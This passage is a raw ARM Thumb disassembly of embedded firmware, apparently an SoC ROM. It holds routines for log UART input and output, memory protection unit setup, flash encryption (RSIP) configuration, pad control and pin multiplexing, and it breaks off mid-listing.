10102ada: e8bd 4010 ldmia.w sp!, {r4, lr} 10102ade: 4718 bx r3 10102ae0: 48012000 .word 0x48012000 10102ae4: 10103b3d .word 0x10103b3d 10102ae8: 101038bd .word 0x101038bd 10102aec: 10103bf1 .word 0x10103bf1 10102af0: 101039f5 .word 0x101039f5 10102af4 <LOGUART_PutChar>: 10102af4: 4b0a ldr r3, [pc, #40] ; (10102b20 <LOGUART_PutChar+0x2c>) 10102af6: 681b ldr r3, [r3, #0] 10102af8: 2b01 cmp r3, #1 10102afa: d010 beq.n 10102b1e <LOGUART_PutChar+0x2a> 10102afc: f641 138b movw r3, #6539 ; 0x198b 10102b00: 4908 ldr r1, [pc, #32] ; (10102b24 <LOGUART_PutChar+0x30>) 10102b02: e001 b.n 10102b08 <LOGUART_PutChar+0x14> 10102b04: 3b01 subs r3, #1 10102b06: d002 beq.n 10102b0e <LOGUART_PutChar+0x1a> 10102b08: 694a ldr r2, [r1, #20] 10102b0a: 0692 lsls r2, r2, #26 10102b0c: d5fa bpl.n 10102b04 <LOGUART_PutChar+0x10> 10102b0e: 280a cmp r0, #10 10102b10: bf08 it eq 10102b12: 220d moveq r2, #13 10102b14: 4b03 ldr r3, [pc, #12] ; (10102b24 <LOGUART_PutChar+0x30>) 10102b16: 6258 str r0, [r3, #36] ; 0x24 10102b18: bf08 it eq 10102b1a: 625a streq r2, [r3, #36] ; 0x24 10102b1c: 4770 bx lr 10102b1e: 4770 bx lr 10102b20: 10000000 .word 0x10000000 10102b24: 48012000 .word 0x48012000 10102b28 <LOGUART_GetChar>: 10102b28: b130 cbz r0, 10102b38 <LOGUART_GetChar+0x10> 10102b2a: 4a05 ldr r2, [pc, #20] ; (10102b40 <LOGUART_GetChar+0x18>) 10102b2c: 6953 ldr r3, [r2, #20] 10102b2e: 07db lsls r3, r3, #31 10102b30: d5fc bpl.n 10102b2c <LOGUART_GetChar+0x4> 10102b32: 6a50 ldr r0, [r2, #36] ; 0x24 10102b34: b2c0 uxtb r0, r0 10102b36: 4770 bx lr 10102b38: 4b01 ldr r3, [pc, #4] ; (10102b40 <LOGUART_GetChar+0x18>) 10102b3a: 6a58 ldr r0, [r3, #36] ; 0x24 10102b3c: b2c0 uxtb r0, r0 10102b3e: 4770 bx lr 10102b40: 48012000 .word 0x48012000 10102b44 <LOGUART_Readable>: 10102b44: b508 push {r3, lr} 10102b46: 4802 ldr r0, [pc, #8] ; (10102b50 <LOGUART_Readable+0xc>) 10102b48: 4b02 ldr r3, [pc, #8] ; (10102b54 <LOGUART_Readable+0x10>) 10102b4a: 4798 blx r3 10102b4c: b2c0 uxtb r0, r0 10102b4e: bd08 pop {r3, pc} 10102b50: 48012000 .word 0x48012000 10102b54: 10103a11 .word 0x10103a11 10102b58 <LOGUART_GetIMR>: 10102b58: 4b01 ldr r3, [pc, #4] ; (10102b60 <LOGUART_GetIMR+0x8>) 10102b5a: 6858 ldr r0, [r3, #4] 10102b5c: 4770 bx lr 10102b5e: bf00 nop 10102b60: 48012000 .word 0x48012000 10102b64 <LOGUART_SetIMR>: 10102b64: 4b01 ldr r3, [pc, #4] ; (10102b6c <LOGUART_SetIMR+0x8>) 10102b66: 6058 str r0, [r3, #4] 10102b68: 4770 bx lr 10102b6a: bf00 nop 10102b6c: 48012000 .word 0x48012000 10102b70 <LOGUART_WaitBusy>: 10102b70: b538 push {r3, r4, r5, lr} 10102b72: 4c05 ldr r4, [pc, #20] ; (10102b88 <LOGUART_WaitBusy+0x18>) 10102b74: 6963 ldr r3, [r4, #20] 10102b76: 065a lsls r2, r3, #25 10102b78: d405 bmi.n 10102b86 <LOGUART_WaitBusy+0x16> 10102b7a: 4d04 ldr r5, [pc, #16] ; (10102b8c <LOGUART_WaitBusy+0x1c>) 10102b7c: 2064 movs r0, #100 ; 0x64 10102b7e: 47a8 blx r5 10102b80: 6963 ldr r3, [r4, #20] 10102b82: 065b lsls r3, r3, #25 10102b84: d5fa bpl.n 10102b7c <LOGUART_WaitBusy+0xc> 10102b86: bd38 pop {r3, r4, r5, pc} 10102b88: 48012000 .word 0x48012000 10102b8c: 10100949 .word 0x10100949 10102b90 <LOGUART_SetBaud>: 10102b90: b5f8 push {r3, r4, r5, r6, r7, lr} 10102b92: 4607 mov r7, r0 10102b94: 4c0b ldr r4, [pc, #44] ; (10102bc4 <LOGUART_SetBaud+0x34>) 10102b96: 2200 movs r2, #0 10102b98: 4620 mov r0, r4 10102b9a: 4e0b ldr r6, [pc, #44] ; (10102bc8 <LOGUART_SetBaud+0x38>) 10102b9c: 2105 movs r1, #5 10102b9e: 47b0 blx r6 10102ba0: 4d0a ldr r5, [pc, #40] ; (10102bcc <LOGUART_SetBaud+0x3c>) 10102ba2: 4620 mov r0, r4 10102ba4: 2100 movs r1, #0 10102ba6: 47a8 blx r5 10102ba8: 4b09 ldr r3, [pc, #36] ; (10102bd0 <LOGUART_SetBaud+0x40>) 10102baa: 4639 mov r1, r7 10102bac: 4620 mov r0, r4 10102bae: 4798 blx r3 10102bb0: 4620 mov r0, r4 10102bb2: 2201 movs r2, #1 10102bb4: 2105 movs r1, #5 10102bb6: 47b0 blx r6 10102bb8: 4620 mov r0, r4 10102bba: 2101 movs r1, #1 10102bbc: 47a8 blx r5 10102bbe: 2001 movs r0, #1 10102bc0: bdf8 pop {r3, r4, r5, r6, r7, pc} 10102bc2: bf00 nop 10102bc4: 48012000 .word 0x48012000 10102bc8: 10103bf1 .word 0x10103bf1 10102bcc: 101039f5 .word 0x101039f5 10102bd0: 101038bd .word 0x101038bd 10102bd4 <mpu_enable>: 10102bd4: 4a04 ldr r2, [pc, #16] ; (10102be8 <mpu_enable+0x14>) 10102bd6: 6853 ldr r3, [r2, #4] 10102bd8: f043 0301 orr.w r3, r3, #1 10102bdc: 6053 str r3, [r2, #4] 10102bde: f3bf 8f4f dsb sy 10102be2: f3bf 8f6f isb sy 10102be6: 4770 bx lr 10102be8: e000ed90 .word 0xe000ed90 10102bec <mpu_disable>: 10102bec: f3bf 8f5f dmb sy 10102bf0: 4a02 ldr r2, [pc, #8] ; (10102bfc <mpu_disable+0x10>) 10102bf2: 6853 ldr r3, [r2, #4] 10102bf4: f023 0301 bic.w r3, r3, #1 10102bf8: 6053 str r3, [r2, #4] 10102bfa: 4770 bx lr 10102bfc: e000ed90 .word 0xe000ed90 10102c00 <mpu_init>: 10102c00: f3bf 8f5f dmb sy 10102c04: 2100 movs r1, #0 10102c06: 4b0b ldr r3, [pc, #44] ; (10102c34 <mpu_init+0x34>) 10102c08: 685a ldr r2, [r3, #4] 10102c0a: 480b ldr r0, [pc, #44] ; (10102c38 <mpu_init+0x38>) 10102c0c: f022 0201 bic.w r2, r2, #1 10102c10: 605a str r2, [r3, #4] 10102c12: 6059 str r1, [r3, #4] 10102c14: 6318 str r0, [r3, #48] ; 0x30 10102c16: 6359 str r1, [r3, #52] ; 0x34 10102c18: 685a ldr r2, [r3, #4] 10102c1a: f042 0204 orr.w r2, r2, #4 10102c1e: 605a str r2, [r3, #4] 10102c20: 685a ldr r2, [r3, #4] 10102c22: f042 0201 orr.w r2, r2, #1 10102c26: 605a str r2, [r3, #4] 10102c28: f3bf 8f4f dsb sy 10102c2c: f3bf 8f6f isb sy 10102c30: 4770 bx lr 10102c32: bf00 nop 10102c34: e000ed90 .word 0xe000ed90 10102c38: 00772244 .word 0x00772244 10102c3c <mpu_set_mem_attr>: 10102c3c: 2807 cmp r0, #7 10102c3e: b538 push {r3, r4, r5, lr} 10102c40: 4604 mov r4, r0 10102c42: 460d mov r5, r1 10102c44: d82b bhi.n 10102c9e <mpu_set_mem_attr+0x62> 10102c46: f3bf 8f5f dmb sy 10102c4a: 22ff movs r2, #255 ; 0xff 10102c4c: 4b16 ldr r3, [pc, #88] ; (10102ca8 <mpu_set_mem_attr+0x6c>) 10102c4e: 6858 ldr r0, [r3, #4] 10102c50: f004 0103 and.w r1, r4, #3 10102c54: 00c9 lsls r1, r1, #3 10102c56: f020 0001 bic.w r0, r0, #1 10102c5a: 2c03 cmp r4, #3 10102c5c: fa02 f201 lsl.w r2, r2, r1 10102c60: 6058 str r0, [r3, #4] 10102c62: d912 bls.n 10102c8a <mpu_set_mem_attr+0x4e> 10102c64: 6b58 ldr r0, [r3, #52] ; 0x34 10102c66: ea20 0202 bic.w r2, r0, r2 10102c6a: 635a str r2, [r3, #52] ; 0x34 10102c6c: 6b5a ldr r2, [r3, #52] ; 0x34 10102c6e: fa05 f101 lsl.w r1, r5, r1 10102c72: 4311 orrs r1, r2 10102c74: 6359 str r1, [r3, #52] ; 0x34 10102c76: 4a0c ldr r2, [pc, #48] ; (10102ca8 <mpu_set_mem_attr+0x6c>) 10102c78: 6853 ldr r3, [r2, #4] 10102c7a: f043 0301 orr.w r3, r3, #1 10102c7e: 6053 str r3, [r2, #4] 10102c80: f3bf 8f4f dsb sy 10102c84: f3bf 8f6f isb sy 10102c88: bd38 pop {r3, r4, r5, pc} 10102c8a: 6b18 ldr r0, [r3, #48] ; 0x30 10102c8c: ea20 0202 bic.w r2, r0, r2 10102c90: 631a str r2, [r3, #48] ; 0x30 10102c92: 6b1a ldr r2, [r3, #48] ; 0x30 10102c94: fa05 f101 lsl.w r1, r5, r1 10102c98: 4311 orrs r1, r2 10102c9a: 6319 str r1, [r3, #48] ; 0x30 10102c9c: e7eb b.n 10102c76 <mpu_set_mem_attr+0x3a> 10102c9e: 2160 movs r1, #96 ; 0x60 10102ca0: 4802 ldr r0, [pc, #8] ; (10102cac <mpu_set_mem_attr+0x70>) 10102ca2: f7fd fde5 bl 10100870 <io_assert_failed> 10102ca6: e7ce b.n 10102c46 <mpu_set_mem_attr+0xa> 10102ca8: e000ed90 .word 0xe000ed90 10102cac: 101d50fc .word 0x101d50fc 10102cb0 <mpu_region_cfg>: 10102cb0: b5f0 push {r4, r5, r6, r7, lr} 10102cb2: 2807 cmp r0, #7 10102cb4: b083 sub sp, #12 10102cb6: 4607 mov r7, r0 10102cb8: 460d mov r5, r1 10102cba: d844 bhi.n 10102d46 <mpu_region_cfg+0x96> 10102cbc: 6829 ldr r1, [r5, #0] 10102cbe: 06ca lsls r2, r1, #27 10102cc0: 4e34 ldr r6, [pc, #208] ; (10102d94 <mpu_region_cfg+0xe4>) 10102cc2: d006 beq.n 10102cd2 <mpu_region_cfg+0x22> 10102cc4: 6833 ldr r3, [r6, #0] 10102cc6: 039b lsls r3, r3, #14 10102cc8: d460 bmi.n 10102d8c <mpu_region_cfg+0xdc> 10102cca: 2184 movs r1, #132 ; 0x84 10102ccc: 4832 ldr r0, [pc, #200] ; (10102d98 <mpu_region_cfg+0xe8>) 10102cce: f7fd fdcf bl 10100870 <io_assert_failed> 10102cd2: 6869 ldr r1, [r5, #4] 10102cd4: 06cc lsls r4, r1, #27 10102cd6: d007 beq.n 10102ce8 <mpu_region_cfg+0x38> 10102cd8: 6833 ldr r3, [r6, #0] 10102cda: 0398 lsls r0, r3, #14 10102cdc: d452 bmi.n 10102d84 <mpu_region_cfg+0xd4> 10102cde: 2189 movs r1, #137 ; 0x89 10102ce0: 482d ldr r0, [pc, #180] ; (10102d98 <mpu_region_cfg+0xe8>) 10102ce2: f7fd fdc5 bl 10100870 <io_assert_failed> 10102ce6: 6869 ldr r1, [r5, #4] 10102ce8: 682b ldr r3, [r5, #0] 10102cea: 4419 add r1, r3 10102cec: f3bf 8f5f dmb sy 10102cf0: 4c2a ldr r4, [pc, #168] ; (10102d9c <mpu_region_cfg+0xec>) 10102cf2: 6863 ldr r3, [r4, #4] 10102cf4: f023 0301 bic.w r3, r3, #1 10102cf8: 6063 str r3, [r4, #4] 10102cfa: 60a7 str r7, [r4, #8] 10102cfc: 682a ldr r2, [r5, #0] 10102cfe: 7aa8 ldrb r0, [r5, #10] 10102d00: f022 031f bic.w r3, r2, #31 10102d04: 7a6a ldrb r2, [r5, #9] 10102d06: 4318 orrs r0, r3 10102d08: 7a2b ldrb r3, [r5, #8] 10102d0a: 4302 orrs r2, r0 10102d0c: 4313 orrs r3, r2 10102d0e: 60e3 str r3, [r4, #12] 10102d10: 7aeb ldrb r3, [r5, #11] 10102d12: 005b lsls r3, r3, #1 10102d14: f003 030e and.w r3, r3, #14 10102d18: f021 011f bic.w r1, r1, #31 10102d1c: f043 0301 orr.w r3, r3, #1 10102d20: 430b orrs r3, r1 10102d22: 6123 str r3, [r4, #16] 10102d24: 6863 ldr r3, [r4, #4] 10102d26: f043 0301 orr.w r3, r3, #1 10102d2a: 6063 str r3, [r4, #4] 10102d2c: 6863 ldr r3, [r4, #4] 10102d2e: f043 0301 orr.w r3, r3, #1 10102d32: 6063 str r3, [r4, #4] 10102d34: f3bf 8f4f dsb sy 10102d38: f3bf 8f6f isb sy 10102d3c: 68b3 ldr r3, [r6, #8] 10102d3e: 0399 lsls r1, r3, #14 10102d40: d406 bmi.n 10102d50 <mpu_region_cfg+0xa0> 10102d42: b003 add sp, #12 10102d44: bdf0 pop {r4, r5, r6, r7, pc} 10102d46: 217f movs r1, #127 ; 0x7f 10102d48: 4813 ldr r0, [pc, #76] ; (10102d98 <mpu_region_cfg+0xe8>) 10102d4a: f7fd fd91 bl 10100870 <io_assert_failed> 10102d4e: e7b5 b.n 10102cbc <mpu_region_cfg+0xc> 10102d50: 7ae9 ldrb r1, [r5, #11] 10102d52: 4813 ldr r0, [pc, #76] ; (10102da0 <mpu_region_cfg+0xf0>) 10102d54: f7fd fb4e bl 101003f4 <DiagPrintf> 10102d58: 68b3 ldr r3, [r6, #8] 10102d5a: 039a lsls r2, r3, #14 10102d5c: d5f1 bpl.n 10102d42 <mpu_region_cfg+0x92> 10102d5e: 68a1 ldr r1, [r4, #8] 10102d60: 4810 ldr r0, [pc, #64] ; (10102da4 <mpu_region_cfg+0xf4>) 10102d62: 68e2 ldr r2, [r4, #12] 10102d64: 6923 ldr r3, [r4, #16] 10102d66: f7fd fb45 bl 101003f4 <DiagPrintf> 10102d6a: 68b3 ldr r3, [r6, #8] 10102d6c: 039b lsls r3, r3, #14 10102d6e: d5e8 bpl.n 10102d42 <mpu_region_cfg+0x92> 10102d70: 6b21 ldr r1, [r4, #48] ; 0x30 10102d72: 6b62 ldr r2, [r4, #52] ; 0x34 10102d74: 6863 ldr r3, [r4, #4] 10102d76: 6820 ldr r0, [r4, #0] 10102d78: 9000 str r0, [sp, #0] 10102d7a: 480b ldr r0, [pc, #44] ; (10102da8 <mpu_region_cfg+0xf8>) 10102d7c: f7fd fb3a bl 101003f4 <DiagPrintf> 10102d80: b003 add sp, #12 10102d82: bdf0 pop {r4, r5, r6, r7, pc} 10102d84: 4809 ldr r0, [pc, #36] ; (10102dac <mpu_region_cfg+0xfc>) 10102d86: f7fd fb35 bl 101003f4 <DiagPrintf> 10102d8a: e7a8 b.n 10102cde <mpu_region_cfg+0x2e> 10102d8c: 4808 ldr r0, [pc, #32] ; (10102db0 <mpu_region_cfg+0x100>) 10102d8e: f7fd fb31 bl 101003f4 <DiagPrintf> 10102d92: e79a b.n 10102cca <mpu_region_cfg+0x1a> 10102d94: 1000000c .word 0x1000000c 10102d98: 101d5110 .word 0x101d5110 10102d9c: e000ed90 .word 0xe000ed90 10102da0: 101d44f0 .word 0x101d44f0 10102da4: 101d4530 .word 0x101d4530 10102da8: 101d4574 .word 0x101d4574 10102dac: 101d44bc .word 0x101d44bc 10102db0: 101d4488 .word 0x101d4488 10102db4 <mpu_entry_free>: 10102db4: 2200 movs r2, #0 10102db6: 4b01 ldr r3, [pc, #4] ; (10102dbc <mpu_entry_free+0x8>) 10102db8: 541a strb r2, [r3, r0] 10102dba: 4770 bx lr 10102dbc: 1007c340 .word 0x1007c340 10102dc0 <mpu_entry_alloc>: 10102dc0: b410 push {r4} 10102dc2: 4c08 ldr r4, [pc, #32] ; (10102de4 <mpu_entry_alloc+0x24>) 10102dc4: 7820 ldrb r0, [r4, #0] 10102dc6: 4603 mov r3, r0 10102dc8: b138 cbz r0, 10102dda <mpu_entry_alloc+0x1a> 10102dca: 4622 mov r2, r4 10102dcc: 2300 movs r3, #0 10102dce: f812 1f01 ldrb.w r1, [r2, #1]! 10102dd2: 3301 adds r3, #1 10102dd4: 2900 cmp r1, #0 10102dd6: d1fa bne.n 10102dce <mpu_entry_alloc+0xe> 10102dd8: b2d8 uxtb r0, r3 10102dda: 2201 movs r2, #1 10102ddc: 54e2 strb r2, [r4, r3] 10102dde: f85d 4b04 ldr.w r4, [sp], #4 10102de2: 4770 bx lr 10102de4: 1007c340 .word 0x1007c340 10102de8 <RSIP_Cmd>: 10102de8: 4b05 ldr r3, [pc, #20] ; (10102e00 <RSIP_Cmd+0x18>) 10102dea: 681b ldr r3, [r3, #0] 10102dec: 2801 cmp r0, #1 10102dee: 4a04 ldr r2, [pc, #16] ; (10102e00 <RSIP_Cmd+0x18>) 10102df0: bf0c ite eq 10102df2: f443 6380 orreq.w r3, r3, #1024 ; 0x400 10102df6: f423 6380 bicne.w r3, r3, #1024 ; 0x400 10102dfa: 6013 str r3, [r2, #0] 10102dfc: 4770 bx lr 10102dfe: bf00 nop 10102e00: 48000204 .word 0x48000204 10102e04 <RSIP_OTF_init>: 10102e04: 2300 movs r3, #0 10102e06: b430 push {r4, r5} 10102e08: 7841 ldrb r1, [r0, #1] 10102e0a: 7804 ldrb r4, [r0, #0] 10102e0c: 78c2 ldrb r2, [r0, #3] 10102e0e: 0409 lsls r1, r1, #16 10102e10: ea41 6104 orr.w r1, r1, r4, lsl #24 10102e14: 7884 ldrb r4, [r0, #2] 10102e16: 430a orrs r2, r1 10102e18: 4912 ldr r1, [pc, #72] ; (10102e64 <RSIP_OTF_init+0x60>) 10102e1a: ea42 2204 orr.w r2, r2, r4, lsl #8 10102e1e: 60ca str r2, [r1, #12] 10102e20: 7944 ldrb r4, [r0, #5] 10102e22: 7905 ldrb r5, [r0, #4] 10102e24: 79c2 ldrb r2, [r0, #7] 10102e26: 0424 lsls r4, r4, #16 10102e28: ea44 6405 orr.w r4, r4, r5, lsl #24 10102e2c: 7985 ldrb r5, [r0, #6] 10102e2e: 4322 orrs r2, r4 10102e30: ea42 2205 orr.w r2, r2, r5, lsl #8 10102e34: 608a str r2, [r1, #8] 10102e36: 7a44 ldrb r4, [r0, #9] 10102e38: 7a05 ldrb r5, [r0, #8] 10102e3a: 7ac2 ldrb r2, [r0, #11] 10102e3c: 0424 lsls r4, r4, #16 10102e3e: ea44 6405 orr.w r4, r4, r5, lsl #24 10102e42: 7a85 ldrb r5, [r0, #10] 10102e44: ea44 0002 orr.w r0, r4, r2 10102e48: 4a07 ldr r2, [pc, #28] ; (10102e68 <RSIP_OTF_init+0x64>) 10102e4a: ea40 2005 orr.w r0, r0, r5, lsl #8 10102e4e: 6048 str r0, [r1, #4] 10102e50: bc30 pop {r4, r5} 10102e52: 614b str r3, [r1, #20] 10102e54: 610b str r3, [r1, #16] 10102e56: 6153 str r3, [r2, #20] 10102e58: 6113 str r3, [r2, #16] 10102e5a: 61d3 str r3, [r2, #28] 10102e5c: 6193 str r3, [r2, #24] 10102e5e: 6253 str r3, [r2, #36] ; 0x24 10102e60: 6213 str r3, [r2, #32] 10102e62: 4770 bx lr 10102e64: 48000600 .word 0x48000600 10102e68: 48000608 .word 0x48000608 10102e6c <RSIP_OTF_Cmd>: 10102e6c: 2801 cmp r0, #1 10102e6e: bf0c ite eq 10102e70: 220d moveq r2, #13 10102e72: 2200 movne r2, #0 10102e74: 4b01 ldr r3, [pc, #4] ; (10102e7c <RSIP_OTF_Cmd+0x10>) 10102e76: 601a str r2, [r3, #0] 10102e78: 4770 bx lr 10102e7a: bf00 nop 10102e7c: 48000600 .word 0x48000600 10102e80 <RSIP_OTF_Mask>: 10102e80: b1b3 cbz r3, 10102eb0 <RSIP_OTF_Mask+0x30> 10102e82: f032 03ff bics.w r3, r2, #255 ; 0xff 10102e86: b570 push {r4, r5, r6, lr} 10102e88: 4615 mov r5, r2 10102e8a: 460e mov r6, r1 10102e8c: 4604 mov r4, r0 10102e8e: d100 bne.n 10102e92 <RSIP_OTF_Mask+0x12> 10102e90: b91a cbnz r2, 10102e9a <RSIP_OTF_Mask+0x1a> 10102e92: 2162 movs r1, #98 ; 0x62 10102e94: 480b ldr r0, [pc, #44] ; (10102ec4 <RSIP_OTF_Mask+0x44>) 10102e96: f7fd fceb bl 10100870 <io_assert_failed> 10102e9a: 00e0 lsls r0, r4, #3 10102e9c: 022d lsls r5, r5, #8 10102e9e: f100 4090 add.w r0, r0, #1207959552 ; 0x48000000 10102ea2: f045 0501 orr.w r5, r5, #1 10102ea6: f8c0 6614 str.w r6, [r0, #1556] ; 0x614 10102eaa: f8c0 5610 str.w r5, [r0, #1552] ; 0x610 10102eae: bd70 pop {r4, r5, r6, pc} 10102eb0: 00c0 lsls r0, r0, #3 10102eb2: f100 4090 add.w r0, r0, #1207959552 ; 0x48000000 10102eb6: f8d0 3610 ldr.w r3, [r0, #1552] ; 0x610 10102eba: f023 0301 bic.w r3, r3, #1 10102ebe: f8c0 3610 str.w r3, [r0, #1552] ; 0x610 10102ec2: 4770 bx lr 10102ec4: 101d5120 .word 0x101d5120 10102ec8 <RSIP_KEY_Request>: 10102ec8: b5f8 push {r3, r4, r5, r6, r7, lr} 10102eca: 4d0e ldr r5, [pc, #56] ; (10102f04 <RSIP_KEY_Request+0x3c>) 10102ecc: 682b ldr r3, [r5, #0] 10102ece: 4303 orrs r3, r0 10102ed0: 602b str r3, [r5, #0] 10102ed2: 682b ldr r3, [r5, #0] 10102ed4: 4218 tst r0, r3 10102ed6: d013 beq.n 10102f00 <RSIP_KEY_Request+0x38> 10102ed8: 4606 mov r6, r0 10102eda: 2401 movs r4, #1 10102edc: 4f0a ldr r7, [pc, #40] ; (10102f08 <RSIP_KEY_Request+0x40>) 10102ede: e001 b.n 10102ee4 <RSIP_KEY_Request+0x1c> 10102ee0: 2cff cmp r4, #255 ; 0xff 10102ee2: d00b beq.n 10102efc <RSIP_KEY_Request+0x34> 10102ee4: 200a movs r0, #10 10102ee6: 47b8 blx r7 10102ee8: 682b ldr r3, [r5, #0] 10102eea: 421e tst r6, r3 10102eec: f104 0401 add.w r4, r4, #1 10102ef0: d1f6 bne.n 10102ee0 <RSIP_KEY_Request+0x18> 10102ef2: f1b4 00ff subs.w r0, r4, #255 ; 0xff 10102ef6: bf18 it ne 10102ef8: 2001 movne r0, #1 10102efa: bdf8 pop {r3, r4, r5, r6, r7, pc} 10102efc: 2000 movs r0, #0 10102efe: bdf8 pop {r3, r4, r5, r6, r7, pc} 10102f00: 2001 movs r0, #1 10102f02: bdf8 pop {r3, r4, r5, r6, r7, pc} 10102f04: 400002f0 .word 0x400002f0 10102f08: 10100949 .word 0x10100949 10102f0c <RSIP_MMU_Config>: 10102f0c: b430 push {r4, r5} 10102f0e: 0100 lsls r0, r0, #4 10102f10: f100 4490 add.w r4, r0, #1207959552 ; 0x48000000 10102f14: 9d02 ldr r5, [sp, #8] 10102f16: f504 64c0 add.w r4, r4, #1536 ; 0x600 10102f1a: 6361 str r1, [r4, #52] ; 0x34 10102f1c: 63a2 str r2, [r4, #56] ; 0x38 10102f1e: 63e5 str r5, [r4, #60] ; 0x3c 10102f20: 6b22 ldr r2, [r4, #48] ; 0x30 10102f22: f022 0202 bic.w r2, r2, #2 10102f26: ea42 0343 orr.w r3, r2, r3, lsl #1 10102f2a: 6323 str r3, [r4, #48] ; 0x30 10102f2c: bc30 pop {r4, r5} 10102f2e: 4770 bx lr 10102f30 <RSIP_MMU_Cmd>: 10102f30: 0100 lsls r0, r0, #4 10102f32: f100 4090 add.w r0, r0, #1207959552 ; 0x48000000 10102f36: f8d0 3630 ldr.w r3, [r0, #1584] ; 0x630 10102f3a: b921 cbnz r1, 10102f46 <RSIP_MMU_Cmd+0x16> 10102f3c: f023 0301 bic.w r3, r3, #1 10102f40: f8c0 3630 str.w r3, [r0, #1584] ; 0x630 10102f44: 4770 bx lr 10102f46: f043 0301 orr.w r3, r3, #1 10102f4a: f8c0 3630 str.w r3, [r0, #1584] ; 0x630 10102f4e: 4770 bx lr 10102f50 <PAD_DrvStrength>: 10102f50: 0080 lsls r0, r0, #2 10102f52: f100 4090 add.w r0, r0, #1207959552 ; 0x48000000 10102f56: f8d0 3400 ldr.w r3, [r0, #1024] ; 0x400 10102f5a: 0289 lsls r1, r1, #10 10102f5c: f401 6140 and.w r1, r1, #3072 ; 0xc00 10102f60: f023 0303 bic.w r3, r3, #3 10102f64: 430b orrs r3, r1 10102f66: f8c0 3400 str.w r3, [r0, #1024] ; 0x400 10102f6a: 4770 bx lr 10102f6c <PAD_PullCtrl>: 10102f6c: 0080 lsls r0, r0, #2 10102f6e: f100 4090 add.w r0, r0, #1207959552 ; 0x48000000 10102f72: f8d0 3400 ldr.w r3, [r0, #1024] ; 0x400 10102f76: 2901 cmp r1, #1 10102f78: f423 7340 bic.w r3, r3, #768 ; 0x300 10102f7c: d006 beq.n 10102f8c <PAD_PullCtrl+0x20> 10102f7e: 2902 cmp r1, #2 10102f80: bf08 it eq 10102f82: f443 7380 orreq.w r3, r3, #256 ; 0x100 10102f86: f8c0 3400 str.w r3, [r0, #1024] ; 0x400 10102f8a: 4770 bx lr 10102f8c: f443 7300 orr.w r3, r3, #512 ; 0x200 10102f90: f8c0 3400 str.w r3, [r0, #1024] ; 0x400 10102f94: 4770 bx lr 10102f96: bf00 nop 10102f98 <PAD_CMD>: 10102f98: 0080 lsls r0, r0, #2 10102f9a: f100 4090 add.w r0, r0, #1207959552 ; 0x48000000 10102f9e: f8d0 3400 ldr.w r3, [r0, #1024] ; 0x400 10102fa2: 2901 cmp r1, #1 10102fa4: bf16 itet ne 10102fa6: f423 7340 bicne.w r3, r3, #768 ; 0x300 10102faa: f423 4300 biceq.w r3, r3, #32768 ; 0x8000 10102fae: f443 4300 orrne.w r3, r3, #32768 ; 0x8000 10102fb2: f8c0 3400 str.w r3, [r0, #1024] ; 0x400 10102fb6: 4770 bx lr 10102fb8 <Pinmux_Config>: 10102fb8: 0080 lsls r0, r0, #2 10102fba: f100 4090 add.w r0, r0, #1207959552 ; 0x48000000 10102fbe: f8d0 3400 ldr.w r3, [r0, #1024] ; 0x400 10102fc2: f423 4300 bic.w r3, r3, #32768 ; 0x8000 10102fc6: f001 011f and.w r1, r1, #31 10102fca: f023 031f bic.w r3, r3, #31 10102fce: 430b orrs r3, r1 10102fd0: f8c0 3400 str.w r3, [r0, #1024] ; 0x400 10102fd4: 4770 bx lr 10102fd6: bf00 nop 10102fd8 <Pinmux_ConfigGet>: 10102fd8: 4b02 ldr r3, [pc, #8] ; (10102fe4 <Pinmux_ConfigGet+0xc>) 10102fda: f853 0020 ldr.w r0, [r3, r0, lsl #2] 10102fde: f000 001f and.w r0, r0, #31 10102fe2: 4770 bx lr 10102fe4: 48000400 .word 0x48000400 10102fe8 <Pinmux_UartLogCtrl>: 10102fe8: b538 push {r3, r4, r5, lr} 10102fea: 460c mov r4, r1 10102fec: b9d0 cbnz r0, 10103024 <Pinmux_UartLogCtrl+0x3c> 10102fee: 2c00 cmp r4, #0 10102ff0: bf14 ite ne 10102ff2: 2402 movne r4, #2 10102ff4: 2400 moveq r4, #0 10102ff6: 2102 movs r1, #2 10102ff8: 2007 movs r0, #7 10102ffa: 4d0d ldr r5, [pc, #52] ; (10103030 <Pinmux_UartLogCtrl+0x48>) 10102ffc: 47a8 blx r5 10102ffe: 2102 movs r1, #2 10103000: 2008 movs r0, #8 10103002: 47a8 blx r5 10103004: 4a0b ldr r2, [pc, #44] ; (10103034 <Pinmux_UartLogCtrl+0x4c>) 10103006: 69d3 ldr r3, [r2, #28] 10103008: f423 4300 bic.w r3, r3, #32768 ; 0x8000 1010300c: f023 031f bic.w r3, r3, #31 10103010: 4323 orrs r3, r4 10103012: 61d3 str r3, [r2, #28] 10103014: 6a13 ldr r3, [r2, #32] 10103016: f423 4300 bic.w r3, r3, #32768 ; 0x8000 1010301a: f023 031f bic.w r3, r3, #31 1010301e: 4323 orrs r3, r4 10103020: 6213 str r3, [r2, #32] 10103022: bd38 pop {r3, r4, r5, pc} 10103024: 21aa movs r1, #170 ; 0xaa 10103026: 4804 ldr r0, [pc, #16] ; (10103038 <Pinmux_UartLogCtrl+0x50>) 10103028: f7fd fc22 bl 10100870 <io_assert_failed> 1010302c: e7df b.n 10102fee <Pinmux_UartLogCtrl+0x6> 1010302e: bf00 nop 10103030: 10102f6d .word 0x10102f6d 10103034: 48000400 .word 0x48000400 10103038: 101d5130 .word 0x101d5130 1010303c <Pinmux_SpicCtrl>: 1010303c: 2900 cmp r1, #0 1010303e: b538 push {r3, r4, r5, lr} 10103040: bf14 ite ne 10103042: 2406 movne r4, #6 10103044: 2400 moveq r4, #0 10103046: 2801 cmp r0, #1 10103048: f04f 0102 mov.w r1, #2 1010304c: d049 beq.n 101030e2 <Pinmux_SpicCtrl+0xa6> 1010304e: 4d4a ldr r5, [pc, #296] ; (10103178 <Pinmux_SpicCtrl+0x13c>) 10103050: 2032 movs r0, #50 ; 0x32 10103052: 47a8 blx r5 10103054: 2102 movs r1, #2 10103056: 2033 movs r0, #51 ; 0x33 10103058: 47a8 blx r5 1010305a: 2102 movs r1, #2 1010305c: 2034 movs r0, #52 ; 0x34 1010305e: 47a8 blx r5 10103060: 2102 movs r1, #2 10103062: 2035 movs r0, #53 ; 0x35 10103064: 47a8 blx r5 10103066: 2102 movs r1, #2 10103068: 2036 movs r0, #54 ; 0x36 1010306a: 47a8 blx r5 1010306c: 2102 movs r1, #2 1010306e: 2037 movs r0, #55 ; 0x37 10103070: 47a8 blx r5 10103072: 4b42 ldr r3, [pc, #264] ; (1010317c <Pinmux_SpicCtrl+0x140>) 10103074: f8d3 20c8 